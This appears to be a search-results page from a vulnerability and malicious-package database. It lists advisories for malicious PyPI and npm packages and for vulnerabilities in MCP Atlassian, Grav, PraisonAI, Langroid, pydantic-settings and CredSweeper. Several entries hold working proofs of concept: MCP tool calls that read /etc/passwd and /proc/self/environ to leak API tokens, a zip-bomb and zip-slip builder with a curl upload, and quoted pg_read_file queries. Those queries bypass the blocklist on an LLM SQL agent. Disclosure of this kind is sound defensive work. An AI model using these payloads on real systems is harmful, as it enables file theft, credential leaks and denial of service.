Search: entry.py
177 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database The py-base58 package versions 2.1.3 and 2.1.4 on PyPI contain malicious code that, upon import, drops and executes a hidden Linux ELF binary masquerading as a system daemon. This binary acts as a cryptocurrency wallet stealer targeting BIP-39 mnemonics and keystore files for wallets such as Phantom, MetaMask, Ledger, and Exodus. It establishes persistence via a user crontab entry and exfiltrates stolen data encrypted with an embedded RSA public key to multiple public file hosting services. The package also removes its own installation metadata to evade detection by package management tools. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database Supply-chain compromise of the official jscrambler npm client, a legitimate JavaScript obfuscation tool with roughly 60K downloads per month. Version 8.14.0 was published from the legitimate publisher account (jscrambler_ / info@jscrambler.com), which points to an account or CI compromise rather than a typosquat. Compared to the clean 8.13.0, version 8.14.0 adds a new preinstall hook (node dist/setup.js) and a new 7.5MB dist/intro.js file (entropy 8.00) that is a custom-packed, multi-platform binary container (magic bytes 1b435349 01); both are absent in 8.13.0. At install time, setup.js gunzips the platform-matched payload from intro.js, writes it to a randomly named file under the OS temp directory with the executable bit set (0o755, or a .exe extension on Windows built via String.fromCharCode), then spawns it detached with unref and windowsHide while swallowing all errors. The result is a silent, install-time native-binary dropper. Multiple releases are compromised (8.14.0, 8.16.0, 8.17.0, 8.18.0, 8.20.0); the mechanism above was analyzed on 8.14.0. Version 8.13.0 is clean. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (afb577cf150e98ebfe551df006c555204f327432baa3789473981888761a8677) The package's main entry (dist/index.js) contains a top-level IIFE that runs on every require('jscrambler'). It reads a bundled 7.8 MB sibling file dist/intro.js, validates a custom container header (0x1b 0x43 0x53 0x49 0x01), selects a platform-specific gzip section (linux/win32/darwin), writes the decompressed bytes to os.tmpdir() under a hidden random dot-file name with mode 0755, and spawns the binary detached with stdio ignored and windowsHide, then unrefs the child. Errors are swallowed. The bundled payload dist/intro.js is not JavaScript: it uses a custom multi-platform container and contains strings characteristic of a cryptocurrency-wallet seed-phrase harvester and a browser-session stealer, including the BIP-39 English wordlist marker (bip39_english) and Chromium/BoringSSL TLS internals (ResumptionAttemptedWithVariedEms). Neither README nor CHANGELOG documents any native runtime component, and the CHANGELOG has no entries past 8.13.0. The wrapper's shape (custom magic header, hidden tmp filename, detached spawn, error-swallowed try/catch, undocumented payload) is inconsistent with the package's advertised CLI/API-client purpose and matches a malicious release / account-takeover pattern targeting installer wallets and browser sessions. ## Source: ghsa-malware (dd1dd335cffe74c32587c873f4b6d5efd7bf80a5fcecb9bad030662e2a7498c0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.7 | High7.7GCVE Database ### Summary A client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem. The upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.) ### Details The upload tools read a client-supplied path directly on the server: - `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")` - `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, "rb")` `os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path. Client-reachable entry points that hit these sinks: - `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as "absolute … or relative to the current working directory." - `confluence_upload_attachments` → loops over the same sink. - `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point. ### PoC **Local reproduction** Extract `traversal_upload_attachment_file_read.zip`: ``` # Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false ./poc.sh # exits 0 on success ``` > Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI. All calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default). Step 1 — read `/etc/passwd` from the server via Confluence upload: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" } ← { "message": "Attachment uploaded successfully", "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } } ``` Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read): ``` req → tools/call confluence_download_attachment { "attachment_id": "att<...>" } ← base64 resource decoding to: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` Step 3 — same primitive via the Jira entry point (second sink): ``` req → tools/call jira_update_issue { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" } ← { "attachment_results": { ... "success": true ... } } ``` Step 4 — credential disclosure via `/proc/self/environ`: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" } ← success; the resulting "environ" attachment contains the server's env, including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN. ``` (`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.) Step 5 — relative traversal accepted (no containment): ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" } ← success — relative paths are resolved and read on the server just like absolute ones. ``` The uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host. ### Impact Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian cre | GCVE Database | |||
| Medium | 5.5 | Medium5.5GCVE Database ### Summary CredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative. This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`. The issue has two closely related exploitation paths that share the same root cause: 1. Single-stream decompressor bypass: `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative. 2. Multi-entry archive cumulative-budget bypass: `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate. The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue. ### Details The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively. The relevant call chain is: - `credsweeper/app.py:323` `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)` - `credsweeper/deep_scanner/abstract_scanner.py:269-305` The initial deep-scan entry point passes a recursive size budget into nested scanners. - `credsweeper/deep_scanner/abstract_scanner.py:58-94` `recursive_scan()` stops only on: - negative depth - data shorter than `MIN_DATA_LEN` It does **not** stop when `recursive_limit_size` is negative. Exact source-level issue: 1. Negative budgets are still accepted `credsweeper/deep_scanner/abstract_scanner.py:71-91` ```python if 0 > depth: return candidates depth -= 1 if MIN_DATA_LEN > len(data_provider.data): return candidates ... new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size) ``` There is no guard such as `if recursive_limit_size < 0: return`. 2. Full decompression happens before any hard budget enforcement `credsweeper/deep_scanner/gzip_scanner.py:33-43` ```python with gzip.open(io.BytesIO(data_provider.data)) as f: gzip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(gzip_content_provider.data) gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/bzip2_scanner.py:38-43` ```python bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(bzip2_content_provider.data) bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/lzma_scanner.py:38-43` ```python lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(lzma_content_provider.data) lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit) ``` The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned. 3. Multi-entry archives use per-entry checks instead of a shared cumulative budget `credsweeper/deep_scanner/zip_scanner.py:49-60` ```python if 0 > recursive_limit_size - zfl.file_size: continue with zf.open(zfl) as f: zip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(zip_content_provider.data) zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/tar_scanner.py:48-59` ```python if 0 > recursive_limit_size - tfi.size: continue with tf.extractfile(tfi) as f: tar_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(tar_content_provider.data) tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit) ``` These checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit. 4. Same code pattern is also present in RPM scanning `credsweeper/deep_scanner/rpm_scanner.py:42-51` The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party pars | GCVE Database | |||
| Medium | 6.9 | EPSS 0.6% | CVE-2026-59193getgrav grav · Data Amplification Medium6.9EPSS 0.6%CVE Database V5CVE-2026-59193 ### Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. ### Details The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents. Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674) The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk. The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits. ### PoC 1. Generate the malicious ZIP: python3 cve_poc_grav_zip.py: ```python #!/usr/bin/env python3 """ CVE PoC — Grav CMS Installer::unZip() Zip Bomb + Zip Slip + Deep Nesting ZIP file to attach to the CVE advisory. Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409) which has NO CVE — extracted size/depth/count have no limits. """ import zipfile, os, sys OUT = "/tmp/cve_poc_grav.zip" def build(): with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z: # --- Zip Slip: arbitrary write outside target --- z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n") # --- Deep nesting: 100 levels → Folder::delete() has no depth limit --- for i in range(100): z.writestr(f"deep/{'x/' * i}.keep", "") # --- Compression bomb: 100 identical files = ratio ~ 196:1 --- for i in range(100): z.writestr(f"bomb/{i}.dat", b"A" * 100_000) with zipfile.ZipFile(OUT) as z: infos = z.infolist() compressed = os.path.getsize(OUT) uncompressed = sum(e.file_size for e in infos) slip = any(".." in e.filename for e in infos) depths = [e.filename.count('/') for e in infos] print("=" * 60) print("CVE PoC — Grav CMS Installer::unZip()") print("Zip Bomb | Zip Slip | Deep Nesting") print("=" * 60) print(f"File : {OUT}") print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)") print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)") print(f"Ratio : {uncompressed/compressed:.0f}:1") print(f"Entries : {len(infos)}") print(f"Max depth : {max(depths) if depths else 0}") print(f"Zip Slip (../) : {'YES' if slip else 'NO'}") print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall") print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write") if __name__ == "__main__": build() ``` 3. Authenticate as admin.super and retrieve the nonce from /admin 4. Upload through Direct Install: ``` curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \ -H 'Cookie: grav-admin=<SESSION>' \ -F 'admin-nonce=<NONCE>' \ -F 'uploaded_file=@/tmp/cve_poc_grav.zip' ``` Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion. ### Impact An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated) | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.4% | CVE-2026-61431MervinPraison PraisonAI · Path Traversal Medium6.8EPSS 0.4%CVE Database V5CVE-2026-61431 # ContextGatherer include resolution permits absolute and traversal reads outside the workspace ## Summary PraisonAI's `praisonai.ui.context.ContextGatherer` treats the configured `directory` as the project workspace, but project-controlled `.praisoncontext` and `.praisoninclude` files can name absolute paths or `..` traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context. ## Technical Details `ContextGatherer.get_include_paths()` reads include entries directly from `.praisoncontext` and `.praisoninclude` under the configured workspace. It stores each non-comment line as a raw include path: ```python include_file = os.path.join(self.directory, '.praisoncontext') if os.path.exists(include_file): with open(include_file, 'r') as f: include_paths.extend( line.strip() for line in f if line.strip() and not line.startswith('#') ) ``` When `.praisoncontext` is present, `gather_context()` passes every include entry through `os.path.join(self.directory, include_path)` and then processes the result: ```python for include_path in self.include_paths: full_path = os.path.join(self.directory, include_path) process_path(full_path) ``` The `.praisoninclude` path has the same unsafe join after first processing the workspace: ```python process_path(self.directory) for include_path in self.include_paths: full_path = os.path.join(self.directory, include_path) process_path(full_path) ``` There is no canonicalization or containment check before `process_path()` opens files or recursively walks directories. In Python, `os.path.join(workspace, absolute_path)` returns the absolute path and discards `workspace`; `os.path.join(workspace, "../outside.py")` remains outside the workspace once normalized by filesystem operations. `add_file_content()` then opens the supplied path and appends file contents to the context before display bookkeeping: ```python with open(file_path, 'r', encoding='utf-8') as f: content = f.read() context.append( f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n" ) self.included_files.append( Path(file_path).relative_to(self.directory) ) ``` For parent traversal paths, `Path(file_path).relative_to(self.directory)` raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files. ## PoV The minimal vulnerable shape is a workspace containing only a normal source file and one include file: ```text workspace/ .praisoncontext # contains: ../outside_secret.py inside.py outside_secret.py # outside the workspace ``` Running `ContextGatherer(directory="workspace").run()` returns context containing `outside_secret.py` even though that file is outside the configured workspace. The same result occurs when `.praisoncontext` contains an absolute path to the outside file, and when `.praisoninclude` contains either the parent traversal path or the absolute path. ## PoC Save the self-contained script from the Appendix below as `context_include_workspace_pov.py`, then run it against a local checkout: ```bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py ``` Expected vulnerable output: ```json { "expectations": { "control_inside_file_is_collected": true, "control_without_include_does_not_read_outside": true, "praisoncontext_absolute_path_discloses_outside": true, "praisoncontext_parent_traversal_discloses_outside": true, "praisoninclude_absolute_path_discloses_outside": true, "praisoninclude_parent_traversal_discloses_outside": true }, "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0", "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py", "vulnerable": true } ``` The version sweep sampled old and current releases. All sampled versions are vulnerable: ```text {"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_ | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2da390c130eb840eb129a5d43faf0a64a0f0f602070243613aa0e2f8ea8f6d04) The package advertises itself as a wrapper for a 'qsshd executable' but the bundled Go binary is a reverse-SSH daemon that grants a remote operator persistent shell, exec, pty, and TCP port-forwarding on the installer's host. The entry point `proxy-check-i` (declared in the package's console_scripts, mapped to `qsshd.launcher:main`) uses `os.execv` to launch the bundled Go binary. The daemon establishes device identity by writing a `.device_lock` file under `$XDG_CONFIG_HOME`, `/dev/shm`, or `/tmp`, then repeatedly dials out to a relay via `github.com/mydearniko/overthing` (`tunnel.NewServer` with `RelayURI` and `ForwardAddr` pointing at the local SSH listener). SSH authentication only accepts a single hardcoded ed25519 public key embedded at build time via `//go:embed authorized_keys`, so only the key holder can connect. The reverse-connect design bypasses inbound firewalls. PyPI metadata is a cover story: PKG-INFO summary mentions only 'qsshd executable' with no README and no disclosure of SSH-server, authorized-keys, or outbound-relay behavior, so an installer cannot infer they are enabling a remote-shell daemon. Any host that runs `proxy-check-i` is remotely controllable by the key holder. ## Source: kam193 (dd01be5624206ed8c0a5ba9535c9a9e79ed8770b37eb9ebc381edbe73cb5e779) The embedded binary starts a relayed SSH-like server using a hardcoded authorized_key. Thanks to using a relay network, the attacked does not need to directly expose ports from the machine. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-proxy-check-i Reasons (based on the campaign): - backdoor - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine. | GCVE Database | |||
| Medium | 4.1 | EPSS 0.3% | Medium4.1EPSS 0.3%GCVE DatabaseCVE-2026-8643 CVE-2026-8643 is a security vulnerability in pip, the Python package installer, involving path traversal via malicious entry-point names in Python wheel packages. This flaw allows an attacker to craft a malicious wheel that causes pip to write files outside the intended installation directory, leading to arbitrary file overwrite. The impact includes potential system integrity compromise and, in some cases, arbitrary code execution, especially if pip is run with elevated privileges. The vulnerability affects the wheel installation process and is related to improper limitation of pathname to a restricted directory (CWE-22). | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The npm package `nodemon-sudo` is a typosquat of the popular `nodemon` package: its `package.json` description ("Simple monitor script for use during development of a Node.js app."), `main` entry (`./lib/nodemon`), and forged `author` field (`Remy Sharp`, the real maintainer of `nodemon`) are copied from the legitimate project to appear trustworthy. It was published by npm user `conodeeth` (`coxhazelqja151@outlook.com`) as a single release, version 3.1.16, with no prior or subsequent versions. Its `package.json` declares `tslint-conf@^7.2.1` as a direct runtime dependency — a separately-tracked malicious package (see MAL-2026-7022) that itself masquerades as the `pino` logger and, when its default-exported middleware factory is invoked, spawns a detached background worker (`lib/caller.js`) that fetches attacker-controlled code from a Pinata IPFS gateway and executes it via `new Function.constructor('require', s)`, granting full filesystem and environment access. Static review of `nodemon-sudo`'s own source (all 27 JavaScript files in the published tarball, `lib/`, `bin/`, and root) found no `require('tslint-conf')` or other reference to it anywhere in the package's own code — `nodemon-sudo` itself does not declare an install hook and does not directly invoke the malicious dependency's trigger. Its role in the attack is to typosquat a high-download-count package name and force the known-malicious `tslint-conf` onto the dependency tree of anyone who installs it (a dependency-confusion / malicious-dependency-bundling distribution vector), positioning it for exploitation by any other code path in the victim's project that later requires and calls it. Per SafeDep's analysis, `nodemon-sudo` is linked to the `tslint-conf` supply-chain campaign (also distributed via the related, separately-tracked packages `nodemon-node` — MAL-2026-6957 — and `ts-await` — MAL-2026-6958), attributed with suspected North Korea-linked tradecraft (lookalike package names, jsonkeeper.com dead drops, JSON-field code execution via the `Function` constructor, and no reliance on install hooks). Full analysis: https://safedep.io/malicious-nodemon-sudo-tslint-conf-npm-backdoor/ Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ffc26c0e85db45d7e314fbce4140e9abda3f2eb0912cf1bd9259572a7b7d8f33) Package `nodemon-sudo` copies upstream `nodemon`'s identity — `package.json` reuses Remy Sharp as author, `https://nodemon.io` as homepage, and `github.com/remy/nodemon.git` as repository, and ships an essentially unmodified copy of nodemon's source. The `bin` entry is named `nodemon`, so a global install shadows the real `nodemon` CLI in the installer's PATH. The manifest additionally declares `tslint-conf` in `dependencies`, which is not part of upstream nodemon's dependency set and has no role in nodemon's runtime; installing `nodemon-sudo` therefore pulls this unrelated third-party package into the installer's node_modules. The package itself was not observed exfiltrating data, executing remote code at install time, or shipping a backdoor — the concern is name-confusion (a developer following a tutorial that suggests `sudo` may install this instead of `nodemon`), CLI hijack via the shared `nodemon` bin name, and the injection of an off-purpose dependency into downstream dependency graphs. ## Source: ghsa-malware (e6b941e7418bdecb5f25e70716d050d989137d1cc995e31de120799bb96aae0c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 4.6 | EPSS 0.1% | Medium4.6EPSS 0.1%GCVE DatabaseCVE-2026-3219 A security flaw in the Python package installer pip allows an attacker to craft malicious Python wheels with specially crafted entry-point names that use directory traversal or absolute paths. This vulnerability enables arbitrary file overwrite outside the intended installation directory, potentially impacting system integrity and availability, and possibly leading to arbitrary code execution if pip is run with elevated privileges. The issue affects Red Hat Hardened Images RPMs for python-pip and has been addressed in updated packages. | GCVE Database | ||
| Critical | 9.3 | EPSS 0.6% | CVE-2026-54760Langroid · SQLChatAgent dangerous-function blocklist can be bypassed with quoted or schema-qualified pg_read_file calls Critical9.3EPSS 0.6%GCVE DatabaseCVE-2026-54760 # SQLChatAgent `_validate_query` dangerous-pattern regex is bypassable via quoted/commented/qualified function names ## Summary The `SQLChatAgent` SQL-injection mitigation, with default `allow_dangerous_operations=False`, combines a raw-text regex blocklist (`_DANGEROUS_SQL_PATTERNS`) with a `sqlglot` SELECT-only statement allowlist. The blocklist entries that target callable functions require the function name to be immediately followed by `\s*\(`. PostgreSQL accepts the same call with the name separated from `(` by a quoted identifier, an inline comment, or schema qualification. These forms evade the regex, still parse as `SELECT`, and execute the same PostgreSQL function. This restores the `pg_read_file` server-side file-read primitive that the prior CVE-2026-25879 / GHSA-pmch-g965-grmr fix was meant to block: the parent advisory fixed a missing `pg_read_file` blocklist entry, while this report shows that the added regex is bypassable. ## Affected Code Tested against current `main` commit: `6e8e7b2bb23ec04c1c25be479f16b8cc9a4f8796` The current source still contains: ```python re.compile(r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(", re.IGNORECASE) ``` `_validate_query` checks the raw query against `_DANGEROUS_SQL_PATTERNS`, then parses with `sqlglot` and allows `SELECT` statements. The dangerous-call check is raw text, not normalized AST function-name matching. ## Root Cause The current mitigation treats dangerous PostgreSQL function calls as a raw-text regex problem. The regex requires the `pg_...` function token to be followed directly by optional whitespace and `(`, but PostgreSQL accepts equivalent calls through quoted identifiers, comments, and schema-qualified names. Because `_validate_query` only uses `sqlglot` to enforce the top-level statement type, those normalized function names are never checked after parsing. ## Auth Boundary The boundary is the default `SQLChatAgent` safety policy between attacker-influenced SQL generation and database operations that can read server-side files. With `allow_dangerous_operations=False`, a user or prompt that influences generated SQL should not be able to bypass the guard and execute PostgreSQL file-read functions such as `pg_read_file`. This is not a new unauthenticated endpoint or product-wide SQL injection; it applies when untrusted user content can influence SQLChatAgent's generated SQL. ## Reproduction The local harness uses the current `sql_chat_agent.py`, extracts the real shipped dangerous regex list, validates the queries with real `sqlglot==30.8.0`, then executes the accepted bypasses against a local throwaway PostgreSQL 16 container. Transcript excerpt: ```text CONTROL "SELECT pg_read_file('/etc/passwd')" -> REJECTED: matches '\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(' BYPASS 'SELECT "pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) BYPASS "SELECT pg_read_file/**/('/etc/passwd')" -> ALLOWED (validator returned None -> would execute) BYPASS 'SELECT pg_catalog."pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) === Part B: real PostgreSQL execution of the bypass === connected; is_superuser=t executed bypass 'SELECT "pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass "SELECT pg_read_file/**/('<file>')" -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass 'SELECT pg_catalog."pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' RESULT: VULNERABLE ``` The control query is blocked by the current regex, while all three equivalent PostgreSQL forms are allowed by the validator and return the mounted proof file contents from a real PostgreSQL server. The `LANGROID_SAFE_MARKER_...` value is a harmless marker generated inside the throwaway local container for this proof. ## Impact On a deployment using `SQLChatAgent` against PostgreSQL with a role able to call `pg_read_file` (superuser, or a role granted `pg_read_server_files`), an attacker who can influence LLM-generated SQL can coerce the agent into emitting one of the obfuscated queries and read files accessible to the PostgreSQL server process through `pg_read_file`. This is the same impact and precondition shape as the published `pg_read_file` advisory, but it targets the bypassability of the current regex-based fix rather than the pre-fix absence of a `pg_read_file` block. Severity: High by parity with the published parent advisory; not Critical. CWE-184 leading to server-side file read. ## Suggested Fix Do not rely on raw-text regex matching for dangerous-call detection. After the existing `sqlglot` parse, walk the AST and reject any function invocation whose normalized, unquoted, schema-stripped, case-folded name is in a dangerous set such as `pg_read_file`, `pg_read_binary_file`, `pg_ls_dir`, `pg_stat_file`, `lo_import`, `lo_export`, `load_file`, or `load_extension`. Also | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-58203pydantic-settings · Path Traversal Medium5.3EPSS 0.2%CVE Database V5CVE-2026-58203 ### Summary `NestedSecretsSettingsSource` reads secret values from files in a configured `secrets_dir`. When `secrets_nested_subdir=True`, a directory entry inside `secrets_dir` that is a symbolic link pointing **outside** `secrets_dir` is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented `secrets_dir_max_size` protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself. ### Details `NestedSecretsSettingsSource` performed two passes over `secrets_dir` using two different, inconsistent directory-traversal implementations: * The size check in `validate_secrets_path()` used `Path.glob('**/*')`, which does **not** descend into a symbolically-linked directory. * The loader in `load_secrets()` used `glob.iglob(f'{path}/**/*', recursive=True)` followed by `read_text()`, which **does** follow symlinked directories and reads through the link target. Because the two passes disagreed on symlinks, a symlinked directory inside `secrets_dir` whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems: 1. **Out-of-tree read (CWE-22 / CWE-59).** A symlinked directory (or file) inside `secrets_dir` that resolves outside it is followed, and the external file's contents are loaded into the corresponding settings field. 2. **`secrets_dir_max_size` bypass (CWE-400).** The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which `glob.iglob(recursive=True)` re-traverses, inflating the size accounting and the number of loaded secrets. #### Reproduction In a clean Linux container, with a `secrets_dir` containing a symlink `secrets/db -> /path/outside` and an `outside/passwd` file of 512 bytes, while `secrets_dir_max_size=100`: ```python from pydantic import BaseModel from pydantic_settings import ( BaseSettings, SettingsConfigDict, NestedSecretsSettingsSource, ) class Db(BaseModel): passwd: str | None = None class Settings(BaseSettings): model_config = SettingsConfigDict( secrets_dir='secrets', secrets_nested_subdir=True, secrets_dir_max_size=100, # outside/passwd is 512 bytes ) db: Db = Db() @classmethod def settings_customise_sources( cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings ): return (NestedSecretsSettingsSource(file_secret_settings),) ``` On affected versions, `Settings().db.passwd` is populated with the 512-byte out-of-tree file and **no** `SettingsError` is raised, even though the file exceeds `secrets_dir_max_size`. ### 